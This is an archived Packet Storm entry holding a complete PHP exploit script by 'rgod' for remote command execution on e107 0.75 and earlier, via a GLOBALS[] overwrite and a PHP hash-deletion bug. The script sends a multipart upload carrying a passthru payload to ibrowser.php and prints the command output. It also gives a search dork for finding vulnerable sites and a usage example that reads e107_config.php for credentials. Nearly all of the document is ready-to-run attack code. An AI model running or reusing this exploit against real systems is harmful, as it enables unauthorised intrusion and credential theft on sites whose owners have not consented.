e107-GLOBALS-php.txt

2006-08-29T00:00:00
ID PACKETSTORM:49528
Type packetstorm
Reporter rgod
Modified 2006-08-29T00:00:00

Description

                                        
                                            `#!/usr/bin/php -q -d short_open_tag=on  
<?  
print_r('  
--------------------------------------------------------------------------------  
e107 <= 0.75 GLOBALS[] overwrite/Zend_Hash_Del_Key_Or_Index remote commands  
execution exploit  
by rgod rgod@autistici.org  
site: http://retrogod.altervista.org  
dork: "This site is powered by e107"|inurl:e107_plugins|e107_handlers|e107_files  
--------------------------------------------------------------------------------  
');  
/*  
works with register_globals=On  
against PHP < 4.4.1, 5 < PHP < 5.0.6  
*/  
if ($argc<4) {  
print_r('  
--------------------------------------------------------------------------------  
Usage: php '.$argv[0].' host path cmd OPTIONS  
host: target server (ip/hostname)  
path: path to e107  
cmd: a shell command  
Options:  
-p[port]: specify a port other than 80  
-P[ip:port]: specify a proxy  
Example:  
php '.$argv[0].' localhost /e107/ ls -la -P1.1.1.1:80  
php '.$argv[0].' localhost /e107/ cat ./../../../../e107_config.php -p81  
--------------------------------------------------------------------------------  
');  
die;  
}  
/*  
software site: http://e107.org/  
  
vulnerable code in class2.php near lines 29-37:  
...  
// Destroy! (if we need to)  
if($register_globals == true){  
while (list($global) = each($GLOBALS)) {  
if (!preg_match('/^(_POST|_GET|_COOKIE|_SERVER|_FILES|GLOBALS|HTTP.*|_REQUEST|retrieve_prefs|eplug_admin)$/', $global)) {  
unset($$global); [**]  
}  
}  
unset($global);  
}  
...  
and in e107_handlers/tiny_mce/plugins/ibrowser/ibrowser.php near lines 26-40:  
  
...  
require_once("../../../../class2.php");  
if (!defined('e107_INIT')) { exit; }  
unset($tinyMCE_imglib_include); //[*]  
  
// include image library config settings  
include 'config.php';  
  
$request_uri = urldecode(empty($HTTP_POST_VARS['request_uri'])?(empty($HTTP_GET_VARS['request_uri'])?'':$HTTP_GET_VARS['request_uri']):$HTTP_POST_VARS['request_uri']);  
  
// if set include file specified in $tinyMCE_imglib_include  
  
if (!empty($tinyMCE_imglib_include))  
{  
include $tinyMCE_imglib_include; ///[***]  
}  
...  
  
you can evade [*] by sending the hash keys of $tinyMCE_imglib_include var and  
[**] (this *should* unsets the hash keys...) by sending a multipart/form-data  
request with the "GLOBALS" var  
  
here [***] the code will include the temporary file and execute our shellcode  
  
see http://www.hardened-php.net/hphp/zend_hash_del_key_or_index_vulnerability.html  
and http://www.hardened-php.net/advisory_202005.79.html  
  
for details about this php vulnerabilities  
*/  
  
error_reporting(0);  
ini_set("max_execution_time",0);  
ini_set("default_socket_timeout",5);  
  
function quick_dump($string)  
{  
$result='';$exa='';$cont=0;  
for ($i=0; $i<=strlen($string)-1; $i++)  
{  
if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))  
{$result.=" .";}  
else  
{$result.=" ".$string[$i];}  
if (strlen(dechex(ord($string[$i])))==2)  
{$exa.=" ".dechex(ord($string[$i]));}  
else  
{$exa.=" 0".dechex(ord($string[$i]));}  
$cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}  
}  
return $exa."\r\n".$result;  
}  
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';  
function sendpacketii($packet)  
{  
global $proxy, $host, $port, $html, $proxy_regex;  
if ($proxy=='') {  
$ock=fsockopen(gethostbyname($host),$port);  
if (!$ock) {  
echo 'No response from '.$host.':'.$port; die;  
}  
}  
else {  
$c = preg_match($proxy_regex,$proxy);  
if (!$c) {  
echo 'Not a valid proxy...';die;  
}  
$parts=explode(':',$proxy);  
echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";  
$ock=fsockopen($parts[0],$parts[1]);  
if (!$ock) {  
echo 'No response from proxy...';die;  
}  
}  
fputs($ock,$packet);  
if ($proxy=='') {  
$html='';  
while (!feof($ock)) {  
$html.=fgets($ock);  
}  
}  
else {  
$html='';  
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {  
$html.=fread($ock,1);  
}  
}  
fclose($ock);  
#debug  
#echo "\r\n".$html;  
}  
  
$host=$argv[1];  
$path=$argv[2];  
$cmd="";  
$port=80;  
$proxy="";  
for ($i=3; $i<$argc; $i++){  
$temp=$argv[$i][0].$argv[$i][1];  
if (($temp<>"-p") and ($temp<>"-P")) {$cmd.=" ".$argv[$i];}  
if ($temp=="-p")  
{  
$port=str_replace("-p","",$argv[$i]);  
}  
if ($temp=="-P")  
{  
$proxy=str_replace("-P","",$argv[$i]);  
}  
}  
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}  
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}  
  
$data="-----------------------------7d529a1d23092a\r\n"; #oh, I want to tell you a story, about a Telecom guy *  
$data.="Content-Disposition: form-data; name=\"tinyMCE_imglib_include\"; filename=\"suntzu\";\r\n"; #that doesn't know *  
$data.="Content-Type: image/jpeg;\r\n\r\n"; #the sovereign art of PHP kung-fu, now is desperate and he's seriously *  
$data.="<?php error_reporting(0);set_time_limit(0);echo 'my_delim';passthru('".$cmd."');echo 'my_delim'; die;?>\r\n";# *  
$data.="-----------------------------7d529a1d23092a\r\n"; #thinking to kill himself, after he loosed his work *  
$data.="Content-Disposition: form-data; name=\"-1203709508\"; filename=\"suntzu\";\r\n";//and his honour and self-respect*  
$data.="Content-Type: image/jpeg;\r\n\r\n"; //because of some brave guys that rooted his boxes.*  
$data.="1\r\n";# *  
$data.="-----------------------------7d529a1d23092a\r\n"; #Now, guy, don't cry anymore, but... do something *  
$data.="Content-Disposition: form-data; name=\"225672436\"; filename=\"suntzu\";\r\n"; #useful, please open the PHP *  
$data.="Content-Type: image/jpeg;\r\n\r\n"; #manual, like a respectful student. And start to... *  
$data.="1\r\n";# *  
$data.="-----------------------------7d529a1d23092a\r\n";# *  
$data.="Content-Disposition: form-data; name=\"GLOBALS\"; filename=\"suntzu\";\r\n";# *  
$data.="Content-Type: image/jpeg;\r\n\r\n";# *  
$data.="1\r\n";# *  
$data.="-----------------------------7d529a1d23092a--\r\n";# *  
$packet ="POST ".$p."e107_handlers/tiny_mce/plugins/ibrowser/ibrowser.php HTTP/1.0\r\n";# *  
$packet.="Host: ".$host."\r\n";# *  
$packet.="Content-Type: multipart/form-data; boundary=---------------------------7d529a1d23092a\r\n";# *  
$packet.="Content-Length: ".strlen($data)."\r\n";# *  
$packet.="Accept: text/plain\r\n";# *  
$packet.="Connection: Close\r\n\r\n";# *  
$packet.=$data;# *  
sendpacketii($packet);# *  
if (strstr($html,"my_delim")){# *  
echo "exploit succeeded...\n";$temp=explode("my_delim",$html);die($temp[1]); #...pray *  
}  
echo "exploit failed... register_globals=off here or wrong PHP version\n";  
?>  
`